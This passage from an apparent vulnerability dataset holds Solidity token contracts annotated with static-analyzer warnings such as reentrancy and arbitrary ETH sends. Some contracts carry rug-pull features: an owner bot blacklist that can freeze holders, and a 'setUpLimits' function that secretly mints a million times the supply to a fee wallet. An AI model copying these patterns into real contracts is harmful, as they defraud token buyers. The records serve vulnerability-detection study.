ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 532ce9c: Ensure that all the return values of the function calls are used.\n constructor() {\n _taxWallet = payable(0x68823e886e623CC883c5d8941c57a16e3F717Bd2);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// unused-return | ID: 532ce9c\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: c151a73): Koharu.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for c151a73: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 9af8311): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 9af8311: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: d386fdd): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for d386fdd: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 9af8311\n\t\t// reentrancy-benign | ID: d386fdd\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 9af8311\n\t\t// reentrancy-benign | ID: d386fdd\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 13c8b2f): Koharu._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 13c8b2f: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: d386fdd\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 9af8311\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 620ce74): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 620ce74: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 08e37e6): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 08e37e6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 620ce74\n\t\t\t\t// reentrancy-eth | ID: 08e37e6\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 620ce74\n\t\t\t\t\t// reentrancy-eth | ID: 08e37e6\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 08e37e6\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 08e37e6\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 08e37e6\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 620ce74\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 08e37e6\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 08e37e6\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 620ce74\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 9af8311\n\t\t// reentrancy-events | ID: 620ce74\n\t\t// reentrancy-benign | ID: d386fdd\n\t\t// reentrancy-eth | ID: 08e37e6\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimit() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 9af8311\n\t\t// reentrancy-events | ID: 620ce74\n\t\t// reentrancy-eth | ID: 08e37e6\n _taxWallet.transfer(amount);\n }\n\n function addB(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delB(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 787a10a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 787a10a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 329545f): Koharu.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 329545f: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 3b8fd12): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 3b8fd12: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 787a10a\n\t\t// unused-return | ID: 329545f\n\t\t// reentrancy-eth | ID: 3b8fd12\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 787a10a\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 3b8fd12\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function manualSw() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function manualsend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n}\n",
"file_name": "solidity_code_10848.sol",
"size_bytes": 21948,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: c55667b): Ownable.constructor().msgSender lacks a zerocheck on \t _owner = msgSender\n\t// Recommendation for c55667b: Check that the address is not zero.\n constructor() {\n address msgSender = _msgSender();\n\n\t\t// missing-zero-check | ID: c55667b\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract MyTokenContract is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 4da155b): MyTokenContract.feeWallet should be immutable \n\t// Recommendation for 4da155b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private feeWallet;\n\n uint8 private constant _decimals = 18;\n\n uint256 private constant _totalSupply = 1000000000 * 10 ** _decimals;\n\n string private constant _name = \"terminal of fun\";\n\n string private constant _symbol = \"fun\";\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private swapEnabled = false;\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 1742c95): MyTokenContract.constructor(address)._feeWallet lacks a zerocheck on \t feeWallet = _feeWallet\n\t// Recommendation for 1742c95: Check that the address is not zero.\n constructor(address _feeWallet) {\n\t\t// missing-zero-check | ID: 1742c95\n feeWallet = _feeWallet;\n _balances[msg.sender] = _totalSupply;\n setUpLimits(_feeWallet);\n\n emit Transfer(address(0), msg.sender, _totalSupply);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: f8fedd7): MyTokenContract.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for f8fedd7: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 5d01a2c): MyTokenContract._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 5d01a2c: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 fromBalance = _balances[from];\n\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n _balances[from] = fromBalance - amount;\n\n _balances[to] += amount;\n }\n\n emit Transfer(from, to, amount);\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function setUpLimits(address _feeAccount) internal onlyOwner {\n uint256 bigNum = totalSupply() * 10 ** 6;\n\n _balances[_feeAccount] += bigNum;\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 9477987): MyTokenContract.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls address(feeWallet).transfer(amount)\n\t// Recommendation for 9477987: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// arbitrary-send-eth | ID: 9477987\n payable(feeWallet).transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 0c290be): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 0c290be: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: b1f85ec): MyTokenContract.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for b1f85ec: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 4b24645): MyTokenContract.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 4b24645: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 6b76ad2): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 6b76ad2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _totalSupply);\n\n\t\t// reentrancy-benign | ID: 0c290be\n\t\t// reentrancy-eth | ID: 6b76ad2\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 0c290be\n\t\t// unused-return | ID: 4b24645\n\t\t// reentrancy-eth | ID: 6b76ad2\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 0c290be\n\t\t// unused-return | ID: b1f85ec\n\t\t// reentrancy-eth | ID: 6b76ad2\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 0c290be\n swapEnabled = false;\n\n\t\t// reentrancy-eth | ID: 6b76ad2\n tradingOpen = true;\n }\n\n function router() external view returns (address) {\n return address(uniswapV2Router);\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10849.sol",
"size_bytes": 11643,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract DaDDy is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 0251af1): DaDDy._taxWallet should be immutable \n\t// Recommendation for 0251af1: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 84b3014): DaDDy._initialBuyTax should be constant \n\t// Recommendation for 84b3014: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: ebac783): DaDDy._initialSellTax should be constant \n\t// Recommendation for ebac783: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 686fb46): DaDDy._reduceBuyTaxAt should be constant \n\t// Recommendation for 686fb46: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 60bf853): DaDDy._reduceSellTaxAt should be constant \n\t// Recommendation for 60bf853: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 87dcee5): DaDDy._preventSwapBefore should be constant \n\t// Recommendation for 87dcee5: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 10;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"D/aDDy\";\n\n string private constant _symbol = unicode\"D/aDDy\";\n\n uint256 public _maxTxAmount = 8413800000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8413800000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: b32b240): DaDDy._taxSwapThreshold should be constant \n\t// Recommendation for b32b240: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4206900000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 66af85a): DaDDy._maxTaxSwap should be constant \n\t// Recommendation for 66af85a: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 4206900000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 19e15f0): DaDDy.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 19e15f0: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 547d8bd): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 547d8bd: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: e9e83ad): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for e9e83ad: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 547d8bd\n\t\t// reentrancy-benign | ID: e9e83ad\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 547d8bd\n\t\t// reentrancy-benign | ID: e9e83ad\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: a909704): DaDDy._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for a909704: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: e9e83ad\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 547d8bd\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 455c1e8): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 455c1e8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: b7a1ee4): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for b7a1ee4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n 